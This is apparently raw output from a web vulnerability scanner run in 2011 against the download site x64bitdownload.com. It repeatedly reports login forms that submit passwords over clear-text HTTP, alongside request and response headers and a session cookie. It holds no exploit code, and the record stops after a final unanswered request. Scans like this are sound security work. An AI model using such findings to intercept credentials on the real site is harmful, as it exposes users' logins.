GET /downloads/t-64-bit-messenger-plus-live-download-upxgwatv.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60009
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-news-file-grabber-download-stclytop.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55606
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-newsgroup-commander-pro-download-rjfsmxpp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55307
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-nokia-ovi-suite-download-bhfheplp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:55 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55142
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-nokia-pc-suite-download-psjkkdil.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57457
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-oovoo-download-jrletedp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60411
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-ozum-download-lhtivuds.html/x22 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57059
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-paragon-extbrowser-download-xwigzbic.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54548
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-pidgin-download-kkwthbed.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57745
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-rss-reader-download-avwkinlm.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:33 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54559
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-skype-download-szhzvwoz.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57805
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-sony-ericsson-pc-suite-download-xqhxzeta.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56528
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-teamspeak-download-opmulwsy.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59803
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-trollkiller-for-firefox-download-ydeukbjf.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54072
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-usenext-download-rizftkeg.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56201
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-web-forum-reader-download-ivzgszuq.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54478
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-web-forum-reader-download-sqifmyiy.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:15:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54477
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-windows-live-mail-download-melibvyx.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:32 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 52782
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-windows-live-messenger-2009-download-exrxqhff.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61697
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-windows-live-messenger-2011-download-rcmfqzer.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60249
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-windows-vista-service-pack-1-standalone-for-x64-download-jvbvrxvs.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:19:26 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54487
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /downloads/t-64-bit-yahoo-messenger-download-kgzterdi.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:08 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 66793
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /drivers/ HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 49395
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /drivers/64-bit-vista-drivers.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22vista%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63574
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /featured-software.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:04 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:32:35 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 29094
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /linktous.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 41889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /new-reviews.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:33:26 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 56251
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /new-software.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:14 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:33:21 GMT Cache-Control: max-age=600 Pragma: cache Connection: close Content-Type: text/html; charset=UTF-8 X-Pad: avoid browser bug Content-Length: 120254
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /saved-software.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 28771
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.x64bitdownload.com/login.html
The form contains the following password field:
password
Request
GET /saved-software.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
